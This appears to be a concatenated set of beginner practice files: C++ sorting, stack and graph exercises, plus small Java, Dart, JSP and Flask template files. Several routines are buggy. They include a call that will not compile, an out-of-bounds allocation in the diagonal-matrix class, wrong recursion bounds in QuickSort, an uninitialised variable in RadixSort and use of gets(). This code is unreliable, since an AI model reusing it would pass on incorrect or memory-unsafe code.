<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/common/taglibs.jsp<|end_filename|>
<%@ page language="java" errorPage="/error.jsp" pageEncoding="UTF-8" contentType="text/html;charset=utf-8" %>
<%@ taglib prefix="decorator" uri="http://www.opensymphony.com/sitemesh/decorator" %>
<%@ taglib prefix="page"      uri="http://www.opensymphony.com/sitemesh/page" %>
<%@ taglib prefix="spring"    uri="http://www.springframework.org/tags" %>
<%@ taglib prefix="form"      uri="http://www.springframework.org/tags/form" %>
<%@ taglib prefix="sec"       uri="http://www.springframework.org/security/tags" %>
<%@ taglib prefix="c"         uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt"       uri="http://java.sun.com/jsp/jstl/fmt" %>
<%@ taglib prefix="fn"        uri="http://java.sun.com/jsp/jstl/functions" %>

<c:set var="ctx" value="${pageContext.request.contextPath}"/>
<c:set var="datePattern"><fmt:message key="date.format"/></c:set>


<|start_filename|>DSA/DSA-VIT/Stacks/reverse_stack.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

void transfer(stack<int>&s1,stack<int>&s2,int n)
{
    //int n=s1.size();
    for(int i=0;i<n;i++)
    {
        s2.push(s1.top());
        s1.pop();
    }
}

void reverse(stack<int>&s1)
{
    stack<int>s2;
    int n=s1.size();
    for(int i=0;i<n;i++)
    {
        //remove top element of s1 and store it in another variable
        int x=s1.top();
        s1.pop();

        //transfer n-i-1 elements into s2 repeatedly while adding top to x
        transfer(s1,s2,n-i-1);
        s1.push(x);
        transfer(s2,s1,n-i-1);
    }
}

int main() {
   stack<int>s1;
    //int n=s1.size();

   for(int i=0;i<5;i++)
   s1.push(i);

//     cout<<"original stack:";
//     cout<<"\n";
//    while(!s1.empty())
//    {
//        cout<<s1.top()<<endl;
//        s1.pop();
//    }

//    cout<<"\n";
   reverse(s1);

   cout<<"reversed stack:";
    cout<<"\n";
   while(!s1.empty())
   {
       cout<<s1.top()<<endl;
       s1.pop();
   }

}



<|start_filename|>CPP/SortingTechniques/AllSortingTechniquesBasicLevel.cpp<|end_filename|>
//This is a culmination of all Sorting Techniques we have learned so far.
//I will try to create template for each here, so it can be used later for multiple datatypes.

#include <iostream>
#define endl "\n"
using namespace std;
#include <time.h>

template <class T>
class Sorting{
    private:
    T *A;
    int n;

    private:
    int Randomized_Partition(int l, int h);
    void Merge(int l, int mid, int h);

    public:
    Sorting(T arr[], int n);
    ~Sorting();
    //Comparison based sorting trechniques
    void BubbleSort(); //O(n^2) - max || O(n) - min
    void InsertionSort(); //O(n^2) - max || O(n) - min
    void SelectionSort();//O(n^2)
    void QuickSort(int l, int h);//O(nlogn) - Best Case || O(n^2) - Worst Case
    void QuickSort(){QuickSort(0, n);}//Dummy for QuickSort
    void IMergeSort();//Iterative version of Merge Sort
    void RMergeSort(int l, int h);//Average Case time - O(nlogn) - same for all cases(Recursive)
    void RMergeSort(){RMergeSort(0, n-1);}
    void ShellSort();//O(nlogn) for gap = n/2, may also vary O(n^3/2) and O(n^5/3) for varying gap, say prime number
    
    //Except MergeSort all of the above follow inplace sorting.
    //Only Bubble Sort(modified adoptive), Insertion Sort(adoptive by nature), Shell Sort(derived from Insertion Sort) are adoptive.
    //Bubble Sort, Insertion Sort, Merge Sort, Shell Sort are stable.

    //Index based Sorting Techniques
    //Time Complexity - O(n)
    //Space Complexity - O(n)
    void CountSort(); 
    void BucketSort();
    void RadixSort(); //O(dn) where d = no of digits of max element, n = no of elements

    void Display();
};

template <class T>
Sorting<T> :: Sorting(T arr[], int n)
{
    A = new T[n+1];
    A[n] = INT32_MAX;
    for(int i=0; i < n; i++) A[i] = arr[i];
    this->n = n;
}

template <class T>
Sorting<T> :: ~Sorting(){
    delete [] A;
    this->n = 0;
}

template <class T>
void Sorting<T> :: BubbleSort(){
    int flag = 0;
    for(int i=0; i < n-1; i++){
        for(int j=0; j < n-i-1; j++){
            if(A[j] > A[j+1])
                swap(A[j], A[j+1]);
            flag = 1;
        }
        if(flag == 0) break;   
    }
}

template <class T>
void Sorting<T> :: InsertionSort()
{
    for(int i=1; i < n; i++)
    {
        T temp = A[i];
        int j = i-1;
        while(j > -1 && A[j] > temp)
        {
            A[j+1] = A[j];
            j--;
        }
        A[j+1] = temp;
    }
}

template <class T>
void Sorting<T> :: SelectionSort()
{
    for(int i=0; i<n; i++)
    {
        int j, k;
        for(j=k=i; j < n; j++){
            if(A[j] < A[k]) k = j;
        }
        swap(A[i], A[k]);
    }
}

template <class T>
int Sorting<T> :: Randomized_Partition(int l, int h)
{
    srand(time(0));
    //Randomize
    int pivot_index = l + rand()%(h-l);
    swap(A[l], A[pivot_index]);

    T pivot = A[l];
    int i=l, j=h;
    while(i < j)
    {
        do{i++;}while(A[i] <= pivot);
        do{j--;}while(A[j] > pivot);
        if(i < j)
            swap(A[i], A[j]);
    }
    swap(A[l], A[j]);
    return j;
}

template <class T>
void Sorting<T> :: QuickSort(int l, int h)
{
    if(l < h)
    {
        int split = Randomized_Partition(l, h);
        QuickSort(l, split);
        QuickSort(split+1, n);
    }
}

template <class T>
void Sorting<T> :: Merge(int l, int mid, int h)
{
    int i = l, j = mid+1, k=0;
    int B[h-l+1]; //Auxiliary Array used for merging
    while(i <= mid && j <= h)
    {
        if(A[i] <= A[j]) //= for stability
            B[k++] = A[i++];
        else
            B[k++] = A[j++];
    }
    while(i <= mid) B[k++] = A[i++];
    while(j <= h) B[k++] = A[j++];

    for(int i=l; i <= h; i++) A[i] = B[i-l];
}

template <class T>
void Sorting<T> :: IMergeSort()
{
    int p, i, j, l, h, mid;
    for(p=2; p <=n; p = p*2){
        for(i = 0; i+p-1 < n; i+=p){
            l = i;
            h = l+p-1;
            mid = (l+h)/2;
            Merge(l, mid, h);
        }
        if(i < n)
            Merge(i,(i+n-1)/2,n-1);
    }
    if(p/2 < n)
        Merge(0, p/2-1, n-1);
}

template <class T>
void Sorting<T> :: RMergeSort(int l, int h)
{
    if(l < h)
    {
        int mid = (l+h)/2;
        RMergeSort(l, mid);
        RMergeSort(mid+1, h);
        Merge(l, mid, h);
    }
}

template <class T>
void Sorting<T> :: ShellSort()
{
    int gap = n/2;
    for(; gap > 0; gap/=2)
    {
        for(int i=gap; i < n+1; i++){
            int j = i-gap;
            T temp = A[i];
            while(j > -1 && A[j] > temp){
                A[j+gap] = A[j];
                j = j-gap;
            }
            A[j+gap] = temp;
        }
    }
}

template <class T>
void Sorting<T> :: CountSort()
{
    T m = A[0];
    int i, j;
    for(i=1; i < n; i++) m = max(m, A[i]);

    int *Count = new int[m+1];
    for(i=0; i < m+1; i++) Count[i] = 0; //Initialization
    for(i=0; i < n; i++) Count[A[i]]++; //Storing the occurrences of elements

    i = 0;
    for(j=0; j < m+1; j++)
    {
        if(Count[j] > 0){
            A[i++] = j;
            Count[j]--;
        }
    }        
};

//For both bucket/bn sort and radix sort we need a Linked List
//Linked List start
template <class T>
class Node{
    public:
    T data;
    Node *next;
};

template <class T>
class LinkedList{
    private:
    Node<T> *first, *last;

    public:
    LinkedList(){first = last = NULL;}
    ~LinkedList();
    void Insert(T x);
    T Delete();
    bool isEmpty();
};


template <class T>
LinkedList<T> :: ~LinkedList(){
    Node<T> *p;
    while(first){
        p = first;
        first = first->next;
        delete p;
    }
    first = last = NULL;
}

template <class T>
void LinkedList<T> :: Insert(T x){
    Node<T> *t = new Node<T>;
    t->data = x;
    t->next = NULL;
    if(first == NULL)
        first = last = t;
    else{
        last->next = t;
        last = last->next;
    }
}

template <class T>
T LinkedList<T> :: Delete()
{
    T x = -1;
    if(first == NULL)
        cout << "Linked List is Empty\n";
    else{
        Node<T> *tr = first;
        first = first->next;
        x = tr->data;
        delete tr;
    }
    return x;
}

template <class T>
bool LinkedList<T> :: isEmpty()
{
    return first == NULL;
}
//Linked List end

template <class T>
void Sorting<T> :: BucketSort()
{
    T m = A[0];
    int i,j;
    for(i=1; i < n; i++) m = max(m, A[i]);

    LinkedList<T> *Bin = new LinkedList<T>[m+1];
    //No need to intialize, already initialized to null...

    for(i=0; i < n; i++) Bin[A[i]].Insert(A[i]); //Inserting the Nodes
    
    i=0;
    for(j = 0; j < m+1; j++){
        while(!Bin[j].isEmpty()){
            A[i++]= Bin[j].Delete();
        }
    }
};

template <class T>
void Sorting<T> :: RadixSort()
{
    int m, d=1;
    for(int i=1; i < n; i++) m = max(m, A[i]);
    while(d < m)
    {
        int i, j;
        LinkedList<T> *Bin = new LinkedList<T>[n];
        for(i=0; i <n; i++) Bin[(A[i]/d)%10].Insert(A[i]);

        i=0;
        for(j=0; j < n; j++){
            while(!Bin[j].isEmpty())
                A[i++] = Bin[j].Delete();
        }
        d = d*10;
    }
};

template <class T>
void Sorting<T> :: Display()
{
    for(int i=0; i < n; i++)
        cout << A[i] << " ";
    cout << endl;
}

int main()
{
    int A[] = {81, 12, 67, 258, 49, 34, 23, 110, 30, 73, 289, 6};
    int n = sizeof(A)/sizeof(A[0]);

    Sorting<int> srt(A, n);
    srt.RadixSort();
    cout << "Sorting : ";
    srt.Display();
    return 0;
}


<|start_filename|>DSA/DSA-VIT/Stacks/stack_STL.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    stack<int>s;

    for(int i=1;i<=4;i++)
    s.push(i);

    while(!s.empty())
    {
        cout<<s.top()<<endl;
        s.pop();
    }
}



<|start_filename|>CPP/Is_Prime.cpp<|end_filename|>
#include <assert.h>

constexpr bool isPrimeRecursive(const unsigned int number, const unsigned int ref)
{
    return (ref * ref > number) ? true : (number % ref == 0) ? false : isPrimeRecursive(number, ref + 1);
}

constexpr bool isPrime(const unsigned int number)
{
    return (number < 2) ? false : isPrimeRecursive(number, 2);
}

int main()
{
    assert(!isPrime(0));
    assert(!isPrime(1));
    assert(isPrime(2));
    assert(isPrime(3));
    assert(!isPrime(4));
    assert(isPrime(5));
    assert(!isPrime(6));
    assert(isPrime(7));
    assert(!isPrime(8));
    assert(!isPrime(9));
    assert(!isPrime(10));
}


<|start_filename|>CPP/Data Structures/math/roman_to_integer.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

int roman_to_int(string roman){
	map<char,int> rmap;
	rmap['I'] =   1;
	rmap['V'] =   5;
	rmap['X'] =  10;
	rmap['L'] =  50;
	rmap['C'] = 100;
	rmap['D'] = 500;
	rmap['M'] =1000;
	int number=0,i=0;
	
	//If input is only one character
	if(roman.length()<=1){
		return rmap[roman.at(0)];
	}
	else{
		while(i<roman.size()){
			if(rmap[roman[i]]<rmap[roman[i+1]]){
				number+=rmap[roman[i+1]]-rmap[roman[i]];
				i+=2;
			}
			else{
				number+=rmap[roman[i]];
				i++;
			}
		}
		return number;
	}
}

int main(){
	string roman;
	
	cout<<"Enter the roman number (in capital only): ";
	getline(cin,roman);
	
	int number;
	number=roman_to_int(roman);
	
	cout<<"The interger form is: "<<number;
	
	return 0;
}

<|start_filename|>CPP/Leet Code Solutions/best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.cpp<|end_filename|>
class Solution {
public:
    int maxProfit(vector<int>& prices) {
        int min_price = prices[0];
        int max_profit = 0;
        for(int i=1;i<prices.size();i++){
            min_price = min(min_price,prices[i]);
            int profit = prices[i] - min_price;
            max_profit = max(max_profit,profit);
        }
        return max_profit;
    }
};

<|start_filename|>C/neighbourhood_graph.c<|end_filename|>
#include <stdio.h>

int graph[4][3] = {{2,3,4}, {1,3,4}, {1,2,0}, {1,2,0}};

void checkNeighbour(int i, int j){
    int k, checkNeighbour = 0;

    for(k=0; k<3; k++){
        if(graph[i][k] == j){
            checkNeighbour = 1;
        }
    }
    printf("%d\t", checkNeighbour);
}

int main(){
    int i, j;

    for(i=0; i<4; i++){
        for(j=1; j<=4; j++){
            checkNeighbour(i,j);
        }
        printf("\n");
    }
}

<|start_filename|>DP/longest_increasing_and_decreasing_subsequence.cpp<|end_filename|>
/*
Given an unsorted array on integers, find the length of its largest sub-sequence 
such that it is increasing at first and then decreasing and the number of elements 
in increasing and decreasing parts should be the same.

Example:
Input: 1 2 3 2 1 4 5 6 7 19 15 12 10 9
Output: 9
Explanation: Longest Increasing and Decreasing Sequence is:
				1 4 5 6 7 19 15 12 10 9 ==> 9 elements

*/


#include<iostream> 
#include <vector> 
#include <bits/stdc++.h>
using namespace std;
int min(int a,int b)
{
	if(a<b)
		return a;
	return b;
}
int max(int a,int b)
{
	if(a>b)
		return a;
	return b;
}
int main()
{
	int n,tmp,inc,dec;
	cin>>n;
	vector<int> ip;
	for(int i=0;i<n;i++)
	{
		cin>>tmp;
		ip.push_back(tmp);
	}
	vector<int> lis(n,1);
	vector<int> lds(n,1);
	inc=0;
	dec=0;
	for(int i=1;i<n;i++)
	{
		if(ip[i]>ip[i-1])
		{
			lis[i]=lis[i]+(++inc);
		}
		else
		{
			inc=0;
		}
	}
//	cout<<ip[n-1]<<"\t"<<lis[n-1]<<"\t"<<lds[n-1]<<lis[n-1]+lds[n-1]-1<<endl;
	for(int i=n-2;i>=0;i--)
	{
		
		if(ip[i]>ip[i+1])
		{
			lds[i]=lds[i]+(++dec);
		}
		else
		{
			dec=0;
		}
//		cout<<ip[i]<<"\t"<<lis[i]<<"\t"<<lds[i]<<"\t"<<lis[i]+lds[i]-1<<endl;
	}
	int mx= INT_MIN;
	for(int i=0;i<n;i++)
	{
//		cout<<2*min(lis[i],lds[i])-1<<endl;
		mx=max(2*min(lis[i],lds[i])-1,mx);
	}
	cout<<mx;
}


<|start_filename|>DSA/Notes and examples/function.cpp<|end_filename|>
#include<iostream>
using namespace std;

void func(int x, int y)
{
	cout<<"function is called";
}

int main()
{
	func();
	return 0; 
}


<|start_filename|>CPP/Data Structures/Stack Using Linked List/stackUsingLL.cpp<|end_filename|>
#include <iostream>
#include "nodeClass.cpp"
using namespace std;



template <typename t>
class stack{
    node <t> * head;
    node <t> * tail; 

    int length;
    
    public:
    stack(){
        head = NULL;
        tail = NULL;
        length = 0;
    }
    
    void push(t data){
        node <t> * newNode = new node<t>(data); 
        if (head == NULL){
            head = newNode;
            tail = newNode;
        }else {
            tail -> next = newNode;
            tail = newNode;
        }
        length++;
    }
    
    t pop(){
        node <t> * temp = head;
        while (temp -> next != tail){
            temp = temp -> next;
        }
        t data = tail -> data;
        temp -> next = NULL;
        tail = temp;
        length--;
        return data;
    }
    
    void display(){
        node <t> * temp = head;
        while (temp != NULL){
            cout << temp -> data << " ";
            temp = temp -> next;
        }
        cout << endl;
    }

    int getSize(){
        return length;
    }
    
};

<|start_filename|>DSA/Notes and examples/hello.cpp<|end_filename|>
#include<iostream>

using namespace std;
int main()
{
	int a;
	cout<<"enter value of a=";
	cin>>a;
    cout<<"value of a="<<a;
    return 0;
}


<|start_filename|>CPP/heap.cpp<|end_filename|>
#include <iostream>
using namespace std;
void heapify(int arr[], int n, int i)
{
int big=i; // Initialize big as root
int l=2*i+1; // left = 2*i + 1
int r=2*i+2; // right = 2*i + 2
if (l<n && arr[l]>arr[big])
big= l;
if (r<n&&arr[r]>arr[big])
big=r;
if (big!= i) {
swap(arr[i], arr[big]);
heapify(arr, n, big);
}
}
//Sorting the heap
void Sort(int arr[], int n)
{
for (int i = n / 2 - 1; i >= 0; i--)
heapify(arr, n, i);
for (int i=n-1; i>0; i--)
{
swap(arr[0], arr[i]);
heapify(arr, i, 0);
}
}
//printing the heap
void printH(int arr[], int n)
{
for (int i=0; i<n; ++i)
cout << arr[i] << " ";
cout << "\n";
}
// Driver program
int main()
{
int n, i;
cout<<"ENTER THE HEAP SIZE\n";
cin>>n;
int arr[50];
for (i = 0; i < n; i++) {
cout<<"Enter heap elements"<<" "<<(i+1)<<endl;
cin>>arr[i];
}
Sort(arr, n);
cout << "Sorted heap array is \n";
printH(arr, n);
}


<|start_filename|>Java/TwoPointers.java<|end_filename|>
// Java Program Illustrating Naive Approach to
// Find if There is a Pair in A[0..N-1] with Given Sum

// Importig all input output classes
import java.io.*;

// Main class
class TwoPointers {
	// Main driver method
	public static void main(String[] args)
	{
		// Declaring and initializing array
		int arr[] = { 3, 5, 9, 2, 8, 10, 11 };

		int val = 17;

		System.out.println(isPairSum(arr, arr.length, val));
	}
	// To find Pairs in A[0..N-1] with given sum
	private static int isPairSum(int A[], int N, int X)
	{
		// Nested for loops for iterations
		for (int i = 0; i < N; i++) {
			for (int j = i + 1; j < N; j++) {
				// As equal i and j means same element
				if (i == j)

					// continue keyword skips the execution
					// for following condition
					continue;

				// Condition check if pair exists
				if (A[i] + A[j] == X)
					return 1;

				// By now the array is sorted
				if (A[i] + A[j] > X)

					// Break keyword to hault the execution
					break;
			}
		}

		// No pair found with given sum.
		return 0;
	}
}


<|start_filename|>DSA/Special Matrices/DiagonalMartrix.cpp<|end_filename|>
#include <iostream>

using namespace std;

class Matrix{
    private:
    int *A;
    int size;

    public:
    Matrix(int size){
        A = new int(size);
        this->size = size;
    }

    void  set_element(int i, int j , int x);
    int get_element(int i, int j);
    void Display();
    int sum_all_elements();
    ~Matrix(){delete [] A;}
};

void Matrix :: set_element(int i, int j, int x){
    if(i == j) A[i-1] = x;
}

int Matrix :: get_element(int i, int j){
    if(i != j) return 0;
    else return A[i-1];
}

void Matrix :: Display(){
    for(int i=0; i < size; i++){
        for(int j=0; j < size; j++){
            if(i == j) printf("%2d ", A[i]);
            else printf("%2d ", 0); 
        }            
        cout << endl;
    }
}
int Matrix :: sum_all_elements(){
    int sum = 0;
    for(int i=0; i < size; i++) sum += A[i]; 
    return sum;
}

int main(int argc, char const *argv[])
{
    Matrix a(5);
    a.set_element(4, 5, 12);
    a.set_element(4, 4, 36);
    a.set_element(1, 1, 14);
    a.set_element(2, 2, 74);
    a.set_element(3, 3, 67);
    a.set_element(5, 5, 17);
    a.set_element(1, 4, 71);

    cout << a.get_element(1,1)<< endl;
    cout << a.get_element(2,3)<< endl;
    cout << a.get_element(2,2)<< endl;
    cout << a.get_element(4,5)<< endl;
    cout << a.get_element(3, 3)<< endl;
    cout << a.get_element(5,5)<< endl;
    cout << a.get_element(4,4)<< endl;

    cout << "Sum : " << a.sum_all_elements();   
    cout << endl << endl;
    a.Display();
    return 0;
}


<|start_filename|>DSA/Recursion/subsets.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

void subset(char *inp,char *out,int i,int j)
{
    if(inp[i]=='\0')
    {
        out[j]='\0';
        cout<<out<<endl;
    }

    //include the current char
    out[j]=inp[i];
    subset(inp,out,i+1,j+1);

    //exclude the current char
    subset(inp,out,i+1,j);
}

int main() {
    char input[]="abc";
    char output[10];

    subset(input,output,0,0);
}


<|start_filename|>DSA/Notes and examples/sum_of_all_submatrices.cpp<|end_filename|>
#include <iostream>
using namespace std;
int main() {
    int n;
    cin>>n;
    int arr[100][100];
    int i,j;

    for(i=0;i<n;i++)
    {
        for(j=0;j<n;j++)
        cin>>arr[i][j];
    }

    int top_left,bottom_right;
    int sum=0;

    for(i=0;i<n;i++)
    {
        for(j=0;j<n;j++)
        {
            top_left=(i+1)*(j+1);
            bottom_right=(n-i)*(n-j);

            sum+=(top_left*bottom_right*arr[i][j]);
        }
    }
    cout<<sum<<endl;
}



<|start_filename|>CPP/Sorted strings.cpp<|end_filename|>
#include<stdio.h>
#include<string.h>

int main()
{
	char a[10][10],temp[10];
	int i,j,n;
	printf("Enter the number of strings....");
	scanf("%d",&n);
	fflush(stdin);
	for(i=0;i<n;i++)
	{
		printf("Enter string :");
		gets(a[i]);	
	}
	for(i=i;i<=n;i++)
	{
		for(j=0;j<n-i;j++)
		{
			if(strcmp(a[j],a[j+1])>0)
			{
				strcpy(temp,a[j]);
				strcpy(a[j],a[j+1]);
				strcpy(a[j+1],temp);
					
			}	
		}	
	}
	printf("\nSorted strings are...");
	for(i=0;i<n;i++)
	{
		printf("\n%s",a[i]);	
	}	
}







<|start_filename|>DSA/Graphs/bridges.cpp<|end_filename|>
/** Brides are the edges upon removing the no. of connected component increases 
 * To do this, we will use the a property called low-link values of every node
 * low link value of a node is defined as the minimum id of a reachable node from
 * the current node
 * Hence, we will store the id of the nodes as well as the low link values **/

/** To find if a edge is a bridge, we will use a property --
 * id(edge.from) < low-link(edge.to), that means
 * if the id of current node is lesser than the low link of the node connected to it
 * then that edge is a bridge **/

#include <bits/stdc++.h>
using namespace std;

vector<int> ids(1000, 0);
vector<int> low_link(1000, 0);
vector<bool> visited(1000, false);
int id = 0; // to store the unique ids of every node

void dfs(vector<vector<int>> adj, int at, int parent, vector<int> &bridges)
{
    visited[at] = true;
    id++;
    ids[at] = low_link[at] = id;

    for (auto to : adj[at])
    {
        // since it is an undirected graph, it will certainly happen
        if (to == parent)
            continue;

        if (!visited[to])
        {
            dfs(adj, to, at, bridges);

            // this sets the low link values in just one pass
            low_link[at] = min(low_link[at], low_link[to]);

            // we check this condition for the edge to be a bridge
            if (ids[at] < low_link[to])
                bridges.push_back(at), bridges.push_back(to);
        }
        else // if we visit a node previouly visited, we ensures that we have the least value of lowlink to it
            low_link[at] = min(low_link[at], low_link[to]);
    }
}

vector<int> findBridges(vector<vector<int>> adj, int numNodes)
{
    vector<int> bridges;
    for (int i = 0; i < numNodes; i++)
    {
        // we pass -1 as the parent of 1st node is none
        if (!visited[i])
            dfs(adj, i, -1, bridges);
    }

    return bridges;
}

<|start_filename|>CPP/Data Structures/Stack Using Arrays/stackClass.cpp<|end_filename|>
#include <iostream>
#include<climits>
using namespace std;

template <typename t>
class stack {
    t * p;
    int top;
    int size;
    public :
    
    stack(int size = 10){
        top = -1;
        this -> size = size;
        p = new t[size];
    }
    
    int getSize(){
        return size;
    }
    
    int getTop(){
        return top;
    }
    
    bool isEmpty(){
        if (top == -1){
            return true;
        }else {
            return false;
        }
    }
    
    bool isFull(){
        if (top == size - 1){
            return true;
        }else {
            return false;
        }
    }
    
    void push(int data){
        if (isFull()){
            t * a = new t[size*2];
            int i;
            for (i=0;i<size;i++){
                a[i] = p[i];
            }
            top = i;
            a[top] = data;
            delete [] p;
            p = a;
            size = size * 2;
        }else{
            top++;
            p[top] = data;
        }
       
    }
    int pop(){
        if (isEmpty()){
            cout << "Stack is Empty" << endl;
            return 0;
        }else {
            int x = p[top--];
            return x;
        }
    }
    
    void display(){
        for (int i =0; i<top+1;i++){
            cout << p[i] << " ";
        }cout << endl;
    }
};

<|start_filename|>DSA/Stacks & Queues/simplify_path.cpp<|end_filename|>
#include<iostream>
#include<string>
#include<sstream>
#include<vector>
using namespace std;

string simplifyPath(string path){
	//1. Step - Tokenisation & Filtering 

	istringstream iss(path);
	vector<string> tokens;

	string token;
	while(getline(iss,token,'/')){
		if(token=="." or token==""){
			continue;
		}
		tokens.push_back(token);
	}


	// 2. Handle .. 
	vector<string> stack; 

	if(path[0]=='/'){
		//denotes that our path is an abs path (wrt root dir)
		stack.push_back("");
	}

	for(string token : tokens){
		if(token==".."){
			//2 cases -> Abs path or relative path
			if(stack.size()==0 or stack[stack.size()-1]==".."){
				stack.push_back("..");
			}

			else if(stack[stack.size()-1]!=""){
				stack.pop_back();
			}
		}
		else{
			//x,y,z...
			stack.push_back(token);
		}

	}
	//single element
	if(stack.size()==1 and stack[0]==""){
		return "/";
	}

	//combine all elements in stack to get the answer
	ostringstream oss;
	int i = 0;

	for(auto token :stack){
		if(i!=0){
			oss<<"/";
		}
		i++;
		oss << token;
	}

	return oss.str();

}


int main(){
	string path = "/../x/y/../z/././w/a///../../c/./";
	//  Output :  /x/z/c
	cout << simplifyPath(path) <<endl;



	return 0;
}

<|start_filename|>DSA/STL/rotate.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n,key;
    cin>>n;
    int arr[n];
    for(int i=0;i<n;i++)
    cin>>arr[i];
    //cin>>key;

    rotate(arr,arr+n/2,arr+n);

    for(int i=0;i<n;i++)
    cout<<arr[i]<<" ";
}



<|start_filename|>DART/random.dart<|end_filename|>
import 'dart:math';

void main() {
  var random = new Random();

  print(random.nextBool()); //true or false

  print(random.nextInt(75)); // number between 0 - 75

  print(random.nextDouble()); // double value 0.0 to 1.0
}


<|start_filename|>Java/BinarySearch.java<|end_filename|>
import java.util.*;
public class BinarySearch { 

    public static int binarySearch(int[] arr, int x) {
    	//Your code goes here
        int start = 0;
        int end  = arr.length-1;
        
        while(start <= end){
            int mid = (start+end)/2;
            if(arr[mid] == x){
                return mid;
            }else if(arr[mid] > x){
                end = (mid-1);
            }else {
                start = (mid+1);
            }
        }
        return -1;
    }
}


<|start_filename|>DSA/Stacks & Queues/minStackImplementation.java<|end_filename|>
class MinStack {
     static Stack<Integer> s;
     static Stack<Integer> ss;

    public MinStack() {
         s=new Stack<>();
         ss=new Stack<>();
    }
    //push function implementation
    public void push(int val) {
        s.push(val);
        if(ss.size()==0 || ss.peek()>=val){
            ss.push(val);
        }
    }
    //pop function implementation
    public void pop() {
        if(s.size()==0) return ;
        
        int ans=s.peek();
        s.pop();
        if(ss.peek()==ans) ss.pop();
    
    }
    //top function implementation 
    public int top() {
        if(s.size()==0) return -1;
        return s.peek();
    }
   //getting minimum value from stack in O(1)  
    public int getMin() {
        if(ss.size()==0) return -1;
        
        return ss.peek();
    }
}


<|start_filename|>CPP/insertion.cpp<|end_filename|>
#include <iostream>
using namespace std;

// Function to print an array
void printArray(int array[], int size) {
  for (int i = 0; i < size; i++) {
    cout << array[i] << " ";
  }
  cout << endl;
}

void insertionSort(int array[], int size) {
  for (int step = 1; step < size; step++) {
    int key = array[step];
    int j = step - 1;

    while (key < array[j] && j >= 0) {
      array[j + 1] = array[j];
      --j;
    }
    array[j + 1] = key;
  }
}

int main() {
  int arr[] = {9, 5, 1, 4, 3};
  int size = sizeof(arr) / sizeof(arr[0]);
  insertionSort(arr, size);
  cout << "Sorted array in ascending order:\n";
  printArray(arr, size);
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/java/com/todc/addressbook/domain/Contact.java<|end_filename|>
package com.todc.addressbook.domain;


import org.apache.commons.lang.builder.ToStringBuilder;
import org.hibernate.validator.constraints.NotEmpty;

import javax.persistence.*;
import javax.validation.constraints.NotNull;


/**
 * @author <NAME> (<EMAIL>)
 */
@Entity
@NamedQuery(name = "Contact.findAll", query = "SELECT c FROM Contact c ORDER BY last_name ASC")
@Table(name = "contacts")
public class Contact {


    // ----------------------------------------------------- Instance Variables


    @Id @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name = "id")
    private Long id;

    @Column(name = "prefix")
    private String prefix;

    @Column(name = "first_name")
    private String firstName;

    @NotEmpty
    @Column(name = "last_name")
    private String lastName;

    @Column(name = "email")
    private String email;


    // --------------------------------------------------------------- Mutators


    public Long getId() {
        return id;
    }

    public void setId(Long p_id) {
        id = p_id;
    }

    public String getPrefix() {
        return prefix;
    }

    public void setPrefix(String p_prefix) {
        prefix = p_prefix;
    }

    public String getFirstName() {
        return firstName;
    }

    public void setFirstName(String p_firstName) {
        firstName = p_firstName;
    }

    public String getLastName() {
        return lastName;
    }

    public void setLastName(String p_lastName) {
        lastName = p_lastName;
    }

    public String getEmail() {
        return email;
    }

    public void setEmail(String p_email) {
        email = p_email;
    }


    // --------------------------------------------------------- Public Methods


    public String toString() {
        return ToStringBuilder.reflectionToString(this);
    }

    public boolean isNew() {
        return id == null;
    }
}


<|start_filename|>DSA/Recursion/array.cpp<|end_filename|>
#include <iostream>
using namespace std;

bool sort(int a[],int n)
{
    if(n==0 || n==1)
    return true;
    if(a[0]<a[1] && sort(a+1,n-1))
    return true;
    return false;
}

int main() {
   int n;
   cin>>n;
   int arr[n];
   for(int i=0;i<n;i++)
   cin>>arr[i];

   cout<<sort(arr,n);
}



<|start_filename|>CPP/insertion sort.cpp<|end_filename|>
//Insertion sort

#include<bits/stdc++.h>
using namespace std;

int main()
{
    int s,i,j,current;
    cout<<"enter size of array :";
    cin>>s;
    int arr[s];
    for(i=0;i<s;i++)
    {
        cin>>arr[i];
    }
    
    for(i=1;i<s;i++)
    {
        current=arr[i];
        j=i-1;
        
        while(arr[j]>current&&j>=0)
        {
            arr[j+1]=arr[j];
            j--;
        }
        j++;
        arr[j]=current;
    }
    for(i=0;i<s;i++)
    {
        cout<<arr[i]<<" ";
    }
    return 0;
}


<|start_filename|>Python/Sakha/Sakha/templates/users/createPost.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static',filename='css/createPost.min.css')}}">
{% endblock stylesheet %}

{% block body %}
<main class="form--main">

    <form method="post" class="form" autocomplete="off" enctype="multipart/form-data">
        {{form.hidden_tag()}}

        <legend>Create New Post</legend>

        <div class="form__group">
            {{form.content.label}}
            {{form.content(spellcheck="false")}}
            {% if form.content.errors %}
            {% for error in form.content.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__group">
            {{form.postImage.label}}
            {{form.postImage}}
            {% if form.postImage.errors %}
            {% for error in form.postImage.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__submit__group">
            {{form.submit}}
        </div>

    </form>
   
</main>
{% endblock body %}

<|start_filename|>CPP/SortingTechniques/MergeSort.c<|end_filename|>
//MergeSort uses Merge internally to merge two different arrays into a single Array
//Since only one Array is taken into onsideration it tries to sort and merge parts of array, 
//until we array at Sorted Array.
//MergeSort can be applied both iteratively as well as recursively. Both of them use 2-way merging.
//For iterative merge sort, the whole array of size n is taken as combination of n sorted list.
//Then these sorted lists are merged taking 2 at a time(2-way merging) and this process goes on with bigger sorted 
//lists until the whole array gets sorted. 

//Time Complexity - 
//For Iterative Merge sort, for each pass we make n comparsions and there are total O(logn) passes.
//So time complexity = O(nlogn)

//Recursive Merge Sort
//It divides the array into two halves recursively until each divided array contains exactly 1 element.
//Sorts LHS and RHS recursively.
//Avg case time complexity = O(nlogn)
